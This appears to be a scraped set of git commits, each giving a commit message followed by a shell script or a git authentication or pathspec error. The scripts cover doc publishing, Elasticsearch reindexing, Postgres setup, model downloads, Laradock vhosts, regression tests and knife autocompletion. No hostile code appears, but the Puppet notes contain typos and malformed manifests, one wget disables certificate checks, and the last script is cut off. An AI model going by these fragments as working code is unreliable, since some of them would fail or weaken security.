git config --global user.email "travis-ci@znc.in"
git config --global user.name "znc-travis"
git clone --depth=1 --branch=gh-pages znc-docs:znc/docs.git gh-pages || exit 1

cd "$TRAVIS_BUILD_DIR/doc/html/"
mv ~/gh-pages/.git ./
echo docs.znc.in > CNAME
git add -A

need_commit=0
git status
git status | perl -ne '/modified:\s+(.*)/ and print "$1\n"' | while read x; do
	echo Checking for useful changes: $x
	git diff --cached $x |
		perl -ne '/^[-+]/ and !/^([-+])\1\1 / and !/^[-+]Generated.*ZNC.*doxygen/ and exit 1' &&
		git reset -q $x ||
		{ echo Useful change detected; need_commit=1; }
done

if [[ $need_commit == 0 ]]; then
	echo "Docs at gh-pages are up to date."
	exit
fi

git commit -F- <<EOF
Latest docs on successful travis build $TRAVIS_BUILD_NUMBER

ZNC commit $TRAVIS_COMMIT
EOF
git push origin gh-pages

echo "Published docs to gh-pages."


Started delete account script for Swift

Started delete account script for Swift

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/canarie/dair.git/'


Scripted way to update schemas for non-empty indices

#/bin/bash
set -o errexit -o nounset
# Use creation of import indices to setup new scheme by removing write
# index then setup the new schema and reindex from the read index

function Usage() {
   echo "$0: Must be called with both full_text_cache_schema.json and full_text_cache_html_schema.json present in the current directory"
   exit 1
}

# Safety check...
indices=("full_text_cache" "full_text_cache_html")
for index in ${indices[@]}; do
    if [ ! -f ${index}_schema.json ]; then
        Usage
    fi
done

# Here we go...
create_import_indices.sh

host_and_port=$(inifile_lookup /usr/local/var/lib/tuelib/Elasticsearch.conf Elasticsearch host)

for index in ${indices[@]}
do
     printf "\nDelete current write index for ${index}\n"
     curl --request DELETE "${host_and_port}/${index}_write/"
     schema="${index}_schema.json"
     printf "\nImport new mappings\n"
     curl --request PUT --header 'Content-Type: application/json' "${host_and_port}/${index}_write" --data @"${schema}"
     printf "\nReindex from the read index for ${index}\n"
     curl --request POST "${host_and_port}/_reindex" -H 'Content-Type: application/json' -d'{  "source": { "index": "'"${index}"'_read" },  "dest": { "index": "'"${index}"'_write" }}'
done

remove_import_aliases.sh
printf "\nFinished setting up new mappings...\n\n"

error: pathspec 'cpp/elasticsearch/import_modified_fulltext_schemas.sh' did not match any file(s) known to git


more feedback

more feedback

#!/bin/bash

# install postgres
postgres=`brew list | grep postgres | bundle list pg`
if [[ ! $postgres ]]; then
  echo ''
  echo '##### Installing Postgres via Postgres.app ...'
  echo '##### To Downloads folder'
  cd ~/Downloads
  echo '##### curl -O https://github.com/PostgresApp/PostgresApp/releases/download/9.3.5.2/Postgres-9.3.5.2.zip'
  curl -O https://github.com/PostgresApp/PostgresApp/releases/download/9.3.5.2/Postgres-9.3.5.2.zip
  echo '##### Open that zip'
  open Postgres-9.3.5.2.zip
  echo '##### Moving to Applications dir'
  mv ~/Downloads/Postgres.app /Applications
  echo '##### Starting Postgres'
  open Postgres.app
else
  echo 'nothing to install'
fi

# install postgres gem
pg_gem=`gem list pg`
if [[ ! $pg_gem ]]; then
  echo ''
  echo '##### Installing PG Gem ...'
  gem install pg
else
  echo 'nothing to install'
fi

#!/bin/bash

# install postgres
postgres=`brew list | grep postgres | bundle list pg`
if [[ ! $postgres ]]; then
  echo ''
  echo '##### Installing Postgres via Postgres.app ...'
  echo '##### To Downloads folder'
  cd ~/Downloads
  echo '##### curl -O https://github.com/PostgresApp/PostgresApp/releases/download/9.3.5.2/Postgres-9.3.5.2.zip'
  curl -O https://github.com/PostgresApp/PostgresApp/releases/download/9.3.5.2/Postgres-9.3.5.2.zip
  echo '##### Open that zip'
  open Postgres-9.3.5.2.zip
  echo '##### Moving to Applications dir'
  mv ~/Downloads/Postgres.app /Applications
  echo '##### Starting Postgres'
  open Postgres.app
fi

# install postgres gem
pg_gem=`gem list pg`
if [[ ! $pg_gem ]]; then
  echo ''
  echo '##### Installing PG Gem ...'
  gem install pg
fi


add ./models

add ./models

cd models
wget -c https://gist.githubusercontent.com/ksimonyan/3785162f95cd2d5fee77/raw/bb2b4fe0a9bb0669211cf3d0bc949dfdda173e9e/VGG_ILSVRC_19_layers_deploy.prototxt
wget -c --no-check-certificate https://bethgelab.org/media/uploads/deeptextures/vgg_normalised.caffemodel
wget -c http://www.robots.ox.ac.uk/~vgg/software/very_deep/caffe/VGG_ILSVRC_19_layers.caffemodel
cd ..

error: pathspec 'models/download_models.sh' did not match any file(s) known to git


Emissions détaillees - Script export

Emissions détaillees - Script export

#!/bin/bash
#
# Export des émissions détaillées
# depuis la bdd inventaire
# vers la bdd dev

# Configuration
dev_user="***"
dev_db="***"
prod_host="***"
prod_user="***"
prod_user_db="***"
prod_db="***"
version_inv="***"

# Dump des tables nécessaires de la bdd dev
echo "Dumping dev database into /tmp/cigale.dump"
pg_dump -U $dev_user \
-t total.bilan_comm_v${version_inv}_secteurs \
-Fc $dev_db > /tmp/emissions.detaillees.dump

# Export du dump sur le serveur prod
echo "Exporting dump on prod server"
scp /tmp/emissions.detaillees.dump $prod_user@$prod_host:/tmp/

# Restauration du dump sur le serveur prod
echo "Updating database on prod server"
ssh $prod_user@$prod_host "pg_restore --clean -U $prod_user_db -d $prod_db -h localhost /tmp/emissions.detaillees.dump"

# Maintenance des tables sur le serveur prod pour plus de rapidité
echo "Maintaining database on prod server"
ssh $prod_user@$prod_host "psql -U $prod_user_db -d $prod_db -h localhost << EOF
vacuum ANALYZE total.bilan_comm_v${version_inv}_secteurs;
vacuum FREEZE total.bilan_comm_v${version_inv}_secteurs;
EOF
"

error: pathspec 'sql/prod2dev.emissions_detaillees.sh' did not match any file(s) known to git


Updated go stuff

Updated go stuff

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/shanep/os-config.git/'


Dockerproject.sh

Dockerproject.sh

#!/bin/sh

## init  var

PROJECTNAME=""
ServerName=""
LARADOCKDIR=""
LARAVEL="Yes"

##Question

echo "Docker project starter"

while [ "$PROJECTNAME" = "" ]
 do
    echo " > Enter your project name (No space, no special chararacter, same name as the directory used) :"
        read PROJECTNAME
done

echo ""
echo "Vhost ServerName : [$PROJECTNAME.localhost]"
    read ServerName

    if [ "$ServerName" = "" ]; then
        ServerName="$PROJECTNAME.localhost"
    fi

echo ""
    while [ "$LARADOCKDIR" = "" ]
     do
        echo " > Absolute path to your Laradock Docker directory :"
            read LARADOCKDIR
    done

echo ""
echo "Is it a Laravel Project ? [Y]/N"
    read LARAVEL

    if [ "$LARAVEL" = "" ]; then
        LARAVEL="Y"
    fi

    echo "Are you sure you want to create the vhost with the following data ?"

echo "Project: $PROJECTNAME"
echo "Local url: $ServerName"
echo "Laradock directory to use : $LARADOCKDIR"
echo "Use Laravel: $LARAVEL"

echo "> Y/N"
    read CONFIRMATION

if [ "$CONFIRMATION" == "Y" ] || [ "$CONFIRMATION" == "y" ]; then

    cd $LARADOCKDIR/../
echo "#!/bin/sh

cd /var/www/$PROJECTNAME && \$*" > project--$PROJECTNAME

    if [ "$LARAVEL" == "Y" ] || [ "$LARAVEL" == "y" ]; then
echo "server {

    listen 80;
    listen [::]:80;

    server_name $ServerName;
    root /var/www/$PROJECTNAME/public;
    index index.php index.html index.htm;

    location / {
         try_files \$uri \$uri/ /index.php\$is_args\$args;
    }

    location ~ \.php$ {
        try_files \$uri /index.php =404;
        fastcgi_pass php-upstream;
        fastcgi_index index.php;
        fastcgi_buffers 16 16k;
        fastcgi_buffer_size 32k;
        fastcgi_param SCRIPT_FILENAME \$document_root\$fastcgi_script_name;
        include fastcgi_params;
    }

    location ~ /\.ht {
        deny all;
    }

    location /.well-known/acme-challenge/ {
        root /var/www/letsencrypt/;
        log_not_found off;
    }

    error_log /var/log/nginx/laravel_error.log;
    access_log /var/log/nginx/laravel_access.log;
}
"   > $LARADOCKDIR/nginx/sites/$PROJECTNAME.conf

    else

echo "server {

    listen 80;
    listen [::]:80;

    server_name $ServerName;
    root /var/www/$PROJECTNAME;
    index index.php index.html index.htm;

    location / {
         try_files \$uri \$uri/ /index.php\$is_args\$args;
    }

    location ~ \.php$ {
        try_files \$uri /index.php =404;
        fastcgi_pass php-upstream;
        fastcgi_index index.php;
        fastcgi_buffers 16 16k;
        fastcgi_buffer_size 32k;
        fastcgi_param SCRIPT_FILENAME \$document_root\$fastcgi_script_name;
        include fastcgi_params;
    }

    location ~ /\.ht {
        deny all;
    }

    location /.well-known/acme-challenge/ {
        root /var/www/letsencrypt/;
        log_not_found off;
    }

    error_log /var/log/nginx/app_error.log;
    access_log /var/log/nginx/app_access.log;
}

"   > $LARADOCKDIR/nginx/sites/$PROJECTNAME.conf

    fi
else
    exit
fi

error: pathspec 'dockerproject.sh' did not match any file(s) known to git


Convert mp3, flac, aiff, wav files to 16kHz, 16bit, mono wav

Using sox.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/yunque/tongen.git/'


Corrected build script.

Corrected build script.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jagrafft/svg-extract.git/'


Add a script to make a RAM disk on MacOSX.

#!/bin/bash

# From http://tech.serbinn.net/2010/shell-script-to-create-ramdisk-on-mac-os-x/
#

ARGS=2
E_BADARGS=99

if [ $# -ne $ARGS ] # correct number of arguments to the script;
then
  echo " "
  echo "To create a RAMDISK -> Usage: `basename $0` create SIZE_IN_MB"
  echo "To delete a RAMDISK -> Usage: `basename $0` delete DISK_ID"
  echo " "
  echo "Currently this script only supports one RAMDISK. Will update soon."
  echo "DISK_ID can be shown with 'mount'. usually /dev/disk* where * is a number"
  echo " "
  echo " "
  exit $E_BADARGS
fi

if [ "$1" = "create" ]
then
  echo "Create ramdisk..."
  RAMDISK_SIZE_MB=$2
  RAMDISK_SECTORS=$((2048 * $RAMDISK_SIZE_MB))
  DISK_ID=$(hdiutil attach -nomount ram://$RAMDISK_SECTORS)
  echo "Disk ID is :" $DISK_ID
  diskutil erasevolume HFS+ "ramdisk" ${DISK_ID}
fi

if [ "$1" = "delete" ]
then
  echo "Delete/unmount ramdisk $2"
  umount -f $2
  hdiutil detach $2
fi

error: pathspec 'ramdisk_macosx.sh' did not match any file(s) known to git


added bt tests

added bt tests

check_inline_res()
{
 #check for *-inline used in linking and mediacontrol - the dependent file is $basename-inline.bt
 if [ $inline_resource = 1 ] ; then
  libfile="${btfile%.*}-inline.bt"
  if [ -f $libfile ] ; then
   $MP4BOX -mp4 $libfile 2> /dev/null
   libfile="${btfile%.*}-inline.mp4"
  else
   libfile=""
   fi
 fi
}

#@bt_test execute tests on BT file: bt -> rgb only
#encoding and decoding tests for bifs are done in bifs/sh
bt_test ()
{
 btfile=$1
 libfile=""
 name=$(basename $1)
 name=${name%.*}
 extern_proto=0
 inline_resource=0

 #file used by other test
 case $btfile in
 *-inline.bt )
  return ;;
 *-lib.bt )
  return ;;
 *externproto* )
  extern_proto=1 ;;
 *inline-http* )
  ;;
 *inline* )
  inline_resource=1
   ;;
 #thef following bifs tests use rand() or date and won't produce consistent outputs across runs
 *htk* )
  return;;
 *counter-auto* )
  return;;
 bifs-game* )
  return;;
 *-date* )
  return;;
esac

 name=${name/bifs/bt}
 #start our test, specifying all hash names we will check
 test_begin "$name"

 #UI test mode, check for sensor in source
 if [ $test_ui != 0 ] ; then
   has_sensor=`grep Sensor $1 | grep -v TimeSensor | grep -v MediaSensor`
   if [ "$has_sensor" != "" ]; then
    check_inline_res
    #directly use the bt file for playback test
    do_ui_test $btfile "play"

    #$MP4BOX -mp4 $btfile 2> /dev/null
    #do_ui_test $mp4file "play"
    rm $libfile 2> /dev/null
  fi
 fi

 if [ $test_skip  = 1 ] ; then
  return
 fi

 #check for extern proto, and make MP4 out of lib
 if [ $extern_proto = 1 ] ; then
  libfile="${btfile%.*}-lib.bt"
  do_test "$MP4BOX -mp4 $libfile" "Proto-lib-BT->MP4"
  libfile="${btfile%.*}-lib.mp4"
 fi

 check_inline_res

 dump=$TEMP_DIR/dump.rgb
 dump_dur=2

 do_test "$GPAC -blacklist=vtbdec,nvdec -i $btfile compositor:size=$dump_size:vfr:dur=$dump_dur @ -o $dump" "rgbdump"
 #gpac -i $dump:size=$dump_size vout

 #this will sync everything, we can delete after
 test_end

 if [ "$libfile" != "" ] ; then
  rm $libfile 2> /dev/null
 fi

}

for i in $MEDIA_DIR/bifs/*.bt ; do
bt_test $i
done

return

if [ $disable_playback != 0 ] ; then

#simple encoding test
bt_test $MEDIA_DIR/bifs/bifs-2D-texturing-lineargradient-simple.bt

#simple encoding with image import test
bt_test $MEDIA_DIR/bifs/bifs-2D-background-background2D-image.bt

#simple encoding with AV import test
bt_test $MEDIA_DIR/bifs/bifs-timeline-mediacontrol-inline-av-inline.bt

#proto encoding
 for bt in $MEDIA_DIR/bifs/bifs-proto-*.bt ; do
  bt_test $bt
 done

 #bifs commands
 for bt in $MEDIA_DIR/bifs/bifs-command-*.bt ; do
  bt_test $bt
 done

 #od commands
 for bt in $MEDIA_DIR/bifs/bifs-od-*.bt ; do
  bt_test $bt
 done

fi

error: pathspec 'tests/scripts/bt.sh' did not match any file(s) known to git


[#23633289] Added a deploy_release_candidate.sh script to automate the release candidate deployments.

#!/bin/bash

THIS_SCRIPT=$0

function display_usage_and_exit
{
    printf "Usage: `basename $THIS_SCRIPT` <release_number>\n"
    printf "       e.g. 2.0.5\n"
    exit -1
}

# verify expected script parameters
if [ -z "$1" ]; then
    printf "## Missing release number parameter\n"
    display_usage_and_exit
fi

SCRIPTS_HOME="$(cd `dirname "$THIS_SCRIPT"`/.. && pwd)"

CI_VIRTUALENV_PATH="/var/virtualenvs/ci_develop"
CI_EXECUTION_MODE="ci"

"$SCRIPTS_HOME/testing/run_deployment_unit_tests.py" "$CI_VIRTUALENV_PATH" $CI_EXECUTION_MODE

RELEASE_CANDIDATE_HOST_ALIAS="test"
RELEASE_BRANCH="release/$1"
RSR_DATABASE="rsrdb_rc"

source "$CI_VIRTUALENV_PATH/bin/activate"
"$SCRIPTS_HOME/deployment/execution/scenarios/deploy_rsr_release_candidate.py" $RELEASE_CANDIDATE_HOST_ALIAS $RELEASE_BRANCH $RSR_DATABASE
deactivate

error: pathspec 'scripts/integration/deploy_release_candidate.sh' did not match any file(s) known to git


[osx] installs Homebrew if not already installed

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/bentruyman/dotfiles.git/'


Updated the echo message in model4prepare.sh to be more precise

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/HongjianLi/RF-Score.git/'


Add puppet.sh

Add puppet.sh

名词解释：
事实(fact)

cat > init.pp << "EOF"
class sudo {
	package { 'sudo':
		ensure => present,
	}

	if $::osfamily == 'Debian' {
		package { 'sudo-ldap':
			ensure => present,
			require => Package['sudo'],
		}
	}

	file {
		owner => 'root',
		group => 'root',
		mode => '0440',
		source => "puppet://$::server/modules/sudo/etc/sudoers",
		require => Package['sudo'],
	}
}
EOF

#/etc/puppet/puppet.conf
[main]
logdir = /var/log/puppet
vardir = /var/lib/puppet
ssldir = /var/lib/puppet/ssl
rundir = /var/run/puppet
factpath = $vardir/lib/facter
pluginsync = true
runinterval = 1380
configtimeout = 600
splay = true
report = true
server = puppet.example.com
ca_server = puppetca.example.com

#/etc/puppet/manifests/site.pp
node 'puppet.example.com'
{
# Puppet code will go here.
}
node 'web.example.com'
{
# Puppet code will go here.
}
node 'db.example.com'
{
# Puppet code will go here.
}
node 'mail.example.com'
{
# Puppet code will go here.
}

#相似主机的处理方法
node
	'web1.example.com',
	'web2.example.com',
	'web3.example.com',
{
# Puppet code goes here
}

#使用正则表达式
node /^web\d+\.example\.com$/

node default {
	include defaultclass
}

#节点继承
#Puppet支持节点继承，但并不推荐使用这种方法。
node basenode{
	include sudo
	include mailx
}

node
	'web.example.com'
	inherits basenode{
		include apache
}

#变更及变量域的概念。
#Puppet是一种声明式语言，声明式语言的性质要求顺序不能影响变量值。
#这一原则即要求<在同一变量域中>不能以一个变更进行重复定义。

#什么是域？
#简单理解就是变量的有效作用范围。
#每个类、定义、节点都会引入一个新的域。
#Puppet存在4种域:顶级域、节点域、父域、本地域
#顶级域
#1、在所有的结构体之外，即是顶极域。
#2、所有在site.pp中定义和导入的清单都属于顶级域。
#3、在变量前加上::就可以显式地访问顶级域。
#例如：通常把fact写成$::osfamily，由于明确了变量所在域，避免变量在任意位置被重新赋值。

#节点域
#1、指节点定义中节点名称后面的一对大括号包围的区域。

#父域
#1、如果类A通过inherits引用类B，则B是A的父域。

#本地域
#1、由一个类或类型定义包围的区域。

#模块
#1、由Puppet资源、类、文件和配置文件模板组成的自包含集合。
#2、模块是Puppet清单的结构化组合。
#3、Puppet根据module path寻找模块并加载，值由/etc/puppet/puppet.conf的$modulepath定义。
#4、默认包括/etc/puppet/modules和/var/lib/puppet/modules这两个目录。

#模块的目录结构
#sudo模块/etc/puppet/modules/sudo/
/manifests
/manifests/init.pp
/files
/templates

#init.pp文件结构
class sudo {
	configuration
}

#使用puppet模块构建工具
puppet module generate module-name
#模块名称常用的命名规则是"组织名称+服务名称"

#使用git管理模板代码
#1、安装git
apt-get install git
#2、配置全局变量
git config --global user.name "tony"
git config --global user.email "tony@example.com"
#3、初始化工作目录
cd /etc/puppet/modules
git init
#4、将目录下所有文件加入版本库
git add *
#5、提交变更到版本库。
git commit -a -m "Initial commit"
#6、查看git版本信息
git log
git status

#file:ssh/manifests/init.pp
class ssh {
	class {'::ssh::install':} ->
	class {'::ssh::config':} ->
	class {'::ssh::service':} ->
	class['ssh']
}

#file:ssh/manifests/install.pp
class ssh::install {
	package {
		"openssh":
		ensure => present,
	}
}

#file:ssh/manifests/config.pp
class ssh::config {
	file {
		"/etc/ssh/sshd_config":
		ensure => present,
		owner => root,
		group => root,
		mode => 0600,
		source => "puppet:///modules/ssh/sshd_config",
		require => class["ssh::install"],
		notify => class["ssh::service"],
	}
}

#file:ssh/manifests/service.pp
class ssh::service {
	service {
		"sshd":
		ensure => running,
		hasstatus => true,
		hasrestart => true,
		enable => true,
		require => class["ssh::config"],
	}
}

#Page 42
#file:ssh/manifests/install.pp
class ssh::install {
	$package_name = $::osfamily ?
		'Redhat' => "openssh-server",
		'Debian' => "openssh-server",
		'Solaris' => "openssh",
	}
	package {
		"ssh":
		ensure => present,
		name => $package_name,
	}
}

#Page 43
#class ssh::params
class ssh:params {
	case $::osfamily {
		Solaris:{
			$ssh_package_name = 'opessh'
		}
		Debian:{
			$ssh_package_name = 'opessh-server'
		}
		Redhat:{
			$ssh_package_name = 'opessh-server'
		}
		default:{
			fail("Module propuppet-ssh does not support osfamily: ${::osfamily}")
		}
	}
}

第四章
4.2使用Apache和Passenger运行Puppet Master
Phusion Passenger模块也称为mod_rails、mod_passenger或Passenger。
是一个将Ruby程序嵌入执行的Apache模块。

Puppet性能提升的几个有效方法：
1、将默认Web服务器替换成Apache或Nginx。
2、使用负载均衡软件。

第六章
虚拟资源：可以让example.com的域 管理员在一个地方定义一组用户资源，然后选择性地将其中的一个子集添加到配置目录中。管理员不需要担心资源重复定义的的问题，因为资源只会声明一次，然后被实例化或“实现”一次或者多次。
这个类似于类和类的实例化声明。

Puppet queue使用ActiveMQ中间件服务来处理信息传递和队列。
Apache ActiveMQ是一个消息代理中间件服务，用于处理异步和同步消息的传递。
Active MQ基于Java编写。运行是需要JRE环境。
官方网站：activemq.apache.org

error: pathspec 'puppet.sh' did not match any file(s) known to git


ScriptsLib/RegressionTests-Unix.sh

ScriptsLib/RegressionTests-Unix.sh

#!/bin/bash

TEST_OUT_DIR=RegressionTests-Output
rm -rf $TEST_OUT_DIR

function doOneTest
{
	TESTNAME=$1
	CONFIG_ARGS=$2
	EXTRA_MAKE_RUNTESTS_ARGS=$3

	mkdir -p $TEST_OUT_DIR
	OUT_FILE_NAME="$TEST_OUT_DIR/$TESTNAME"

	echo -n "Running Test $TESTNAME (see $OUT_FILE_NAME) cfg=($CONFIG_ARGS)..."
	rm -f $OUT_FILE_NAME

	./configure DefaultConfiguration $CONFIG_ARGS >> $OUT_FILE_NAME 2>&1
	echo -n "."
	make clobber 2>&1 >> $OUT_FILE_NAME
	echo -n "."
	(make all -j4 >> $OUT_FILE_NAME 2>&1) || { echo 'make all failed' ; exit 1; }
	echo -n "."
	(make run-tests $EXTRA_MAKE_RUNTESTS_ARGS >> $OUT_FILE_NAME 2>&1)  || { echo 'make run-tests failed' ; exit 1; }
	X1=`cat $OUT_FILE_NAME | grep seconds | grep -F [Succeeded] | wc -l`
	XF=`cat $OUT_FILE_NAME | grep -F FAILED | wc -l`
	if [ $XF -gt 0 ]; then\
		echo "$XF tests failed -quitting";\
	fi
	if [ $X1 -lt 46 ]; then\
		echo "$X1 tests succeeded and expected 46";\
	fi
	if [ $XF -gt 0 ]; then\
		exit 1;\
	fi
	if [ $X1 -lt 46 ]; then\
		exit 1;\
	fi
	echo "done"
}

doOneTest "DEFAULT_CONFIG" "" ""
doOneTest "gcc-5.2.0-release" "--assertions disable --trace2file enable --compiler-driver '/home/lewis/gcc-5.2.0/bin/x86_64-unknown-linux-gnu-gcc' --cpp-optimize-flag -O3" ""
doOneTest "gcc-5.2.0-debug-c++17" "--assertions enable --trace2file enable --compiler-driver '/home/lewis/gcc-5.2.0/bin/x86_64-unknown-linux-gnu-gcc' --cppstd-version-flag --std=c++1z" ""
doOneTest "gcc49-release" "--assertions disable --trace2file enable --compiler-driver 'g++-4.9' --cpp-optimize-flag -O3" ""
doOneTest "gcc49-debug-no-TPP" "--assertions enable --trace2file enable --compiler-driver 'g++-4.9'--LibCurl no --OpenSSL no --Xerces no" ""
doOneTest "gcc-4.8.4-debug" "--assertions enable --trace2file enable --compiler-driver '/home/lewis/gcc-4.8.4/bin/x86_64-unknown-linux-gnu-gcc'" ""
doOneTest "gcc48-release" "--assertions disable --trace2file disable --compiler-driver 'g++-4.8' --cpp-optimize-flag -O3" ""
doOneTest "clang++-3.4-debug" "--assertions enable --trace2file enable --compiler-driver clang++-3.4" ""
doOneTest "clang++-3.5-debug" "--assertions enable --trace2file enable --compiler-driver clang++-3.5" ""
doOneTest "clang++-3.6-debug" "--assertions enable --trace2file enable --compiler-driver clang++-3.6 --cppstd-version-flag '--std=c++1y'" ""
doOneTest "gcc-release-32" "--trace2file enable --assertions enable --LibCurl no --OpenSSL no --Xerces no --zlib no --lzma no --extra-compiler-args -m32 --extra-linker-args  '-m32 -L/usr/lib32/' --static-link-gccruntime disable" ""
doOneTest "DEFAULT_CONFIG_WITH_VALGRIND" "" "VALGRIND=1"

error: pathspec 'ScriptsLib/RegressionTests-Unix.sh' did not match any file(s) known to git


updating build script to allow building of deprecated roles

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/rfcx/rfcx-guardian-android.git/'


Adds test helper

Adds test helper

setup() {
}

teardown() {
}

flunk() {
  { if [ "$#" -eq 0 ]; then cat -
    else echo "$@"
    fi
  } | sed "s:${RBENV_TEST_DIR}:TEST_DIR:g" >&2
  return 1
}

assert_success() {
  if [ "$status" -ne 0 ]; then
    flunk "command failed with exit status $status"
  elif [ "$#" -gt 0 ]; then
    assert_output "$1"
  fi
}

assert_failure() {
  if [ "$status" -eq 0 ]; then
    flunk "expected failed exit status"
  elif [ "$#" -gt 0 ]; then
    assert_output "$1"
  fi
}

assert_equal() {
  if [ "$1" != "$2" ]; then
    { echo "expected: $1"
      echo "actual:   $2"
    } | flunk
  fi
}

assert() {
  if ! "$@"; then
    flunk "failed: $@"
  fi
}

error: pathspec 'test/test_helper.bash' did not match any file(s) known to git


Add a script for running all pylint stuff

It's just a conveniece, but it's pretty convenient

PROJECT=vanth
SCRIPTS="bin/vanth"
mkdir -p dist
if [ -z "$1" ]; then
    FILES="conftest.py setup.py $(find $PROJECT -maxdepth 3 -name "*.py" -not -path "*alembic/*" -print) $SCRIPTS $(find tests -maxdepth 3 -name "*.py" -print)"
else
    FILES="$1"
    echo "linting $FILES"
fi
pylint $FILES --reports=no | tee dist/pylint.log

error: pathspec 'pylint.sh' did not match any file(s) known to git


dcj runner]

dcj runner]

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/cohadar/bash_profile.git/'


Initial commit: bash version working

Initial commit: bash version working

#!/bin/bash

##############
### CONFIG ###
##############
### feel free to change those constants
# the dir where to store the cache (must be writable and readable by the current user)
# must be an absolute path
_KNIFE_AUTOCOMPLETE_CACHE_DIR="$HOME/.knife_autocomplete_cache"
# the maximum # of _seconds_ after which a cache will be considered stale
# (a cache is refreshed whenever it is used! this is only for caches that might not have been used for a long time)
# WARNING: keep that value > 100
_KNIFE_AUTOCOMPLETE_MAX_CACHE_AGE=86400

###############################################
### END OF CONFIG - DON'T CHANGE CODE BELOW ###
###############################################

### init
_KAC_CACHE_TMP_DIR="$_KNIFE_AUTOCOMPLETE_CACHE_DIR/tmp"
# make sure the cache dir exists
mkdir -p $_KAC_CACHE_TMP_DIR

##############################
### Cache helper functions ###
##############################

# GNU or BSD stat?
stat -c %Y /dev/null > /dev/null 2>&1 && _KAC_STAT_COMMAND="stat -c %Y" || _KAC_STAT_COMMAND="stat -f %m"

# returns 0 iff the file whose path is given as 1st argument
# exists and has last been modified in the last $2 seconds
# returns 1 otherwise
_KAC_is_file_newer_than()
{
    [ -f "$1" ] || return 1
    [ $(( $(date +%s) - $($_KAC_STAT_COMMAND "$1") )) -gt $2 ] && return 1 || return 0
}

# helper function for _KAC_get_and_regen_cache, see doc below
_KAC_regen_cache()
{
    local CACHE_NAME=$1
    local CACHE_PATH="$_KNIFE_AUTOCOMPLETE_CACHE_DIR/$CACHE_NAME"
    local TMP_FILE=$(mktemp "$_KAC_CACHE_TMP_DIR/$CACHE_NAME.XXXX")
    shift 1
    "$@" > $TMP_FILE 2> /dev/null
    # discard the temp file if it's empty AND the previous command didn't exit successfully, but still mark the cache as updated
    [[ $? != 0 ]] && [[ $(cat $TMP_FILE | wc -l) == 0 ]] && rm -f $TMP_FILE && touch $CACHE_PATH && return 1 \
    || mv -f $TMP_FILE $CACHE_PATH
}

# cached files can't have spaces in their names
_KAC_get_cache_name_from_command()
{
    echo "$@" | sed 's/ /_SPACE_/g'
}

# the reverse operation from the function above
_KAC_get_command_from_cache_name()
{
    echo "$@" | sed 's/_SPACE_/ /g'
}

# given a command as argument, it fetches the cache for that command if it can find it
# otherwise it waits for the cache to be generated
# in either case, it regenerates the cache, and sets the _KCA_CACHE_PATH env variable
# for obvious reason, do NOT call that in a sub-shell (in particular, no piping)
_KAC_get_and_regen_cache()
{
    # the cache name can't have space in it
    local CACHE_NAME=$(_KAC_get_cache_name_from_command "$@")
    local REGEN_CMD="_KAC_regen_cache $CACHE_NAME $@"
    _KCA_CACHE_PATH="$_KNIFE_AUTOCOMPLETE_CACHE_DIR/$CACHE_NAME"
    # no need to wait for the regen if the file already exists
    [ -f $_KCA_CACHE_PATH ] && ($REGEN_CMD &) || $REGEN_CMD
}

# performs two things: first, deletes all obsolete temp files
# then refreshes stale caches that haven't been called in a long time
_KAC_clean_cache()
{
    local FILE CMD
    # delete all obsolete temp files, could be lingering there for any kind of crash in the caching process
    for FILE in $(ls $_KAC_CACHE_TMP_DIR)
    do
        _KAC_is_file_newer_than $FILE $_KNIFE_AUTOCOMPLETE_MAX_CACHE_AGE || rm $FILE
    done
    # refresh really stale caches
    for FILE in $(find $_KNIFE_AUTOCOMPLETE_CACHE_DIR -maxdepth 1 -type f -not -name '.*')
    do
        _KAC_is_file_newer_than $FILE $_KNIFE_AUTOCOMPLETE_MAX_CACHE_AGE && continue
        # first let's get the original command
        CMD=$(_KAC_get_command_from_cache_name $(basename "$FILE"))
        # then regen the cache
        _KAC_get_and_regen_cache "$CMD" > /dev/null
    done
}

# perform a cache cleaning when loading this file
_KAC_clean_cache

#####################################
### End of cache helper functions ###
#####################################

# returns all the possible knife sub-commands
_KAC_knife_commands()
{
    knife --help | grep -E "^knife" | sed -E 's/ \(options\)//g'
}

# rebuilds the knife base command currently being completed, and assigns it to $_KCA_CURRENT_COMMAND
# additionnally, returns 1 iff the current base command is not complete, 0 otherwise
# also sets $_KCA_CURRENT_COMMAND_NB_WORDS if the base command is complete
_KAC_get_current_base_command()
{
    local PREVIOUS="knife"
    local I=1
    local CURRENT
    while [ $I -le $COMP_CWORD ]
    do
        # command words are all lower-case
        echo ${COMP_WORDS[$I]} | grep -E "^[a-z]*$" > /dev/null || break
        CURRENT="$PREVIOUS ${COMP_WORDS[$I]}"
        cat $_KCA_CACHE_PATH | grep -E "^$CURRENT" > /dev/null || break
        PREVIOUS=$CURRENT
        I=$(( $I + 1))
    done
    _KCA_CURRENT_COMMAND=$PREVIOUS
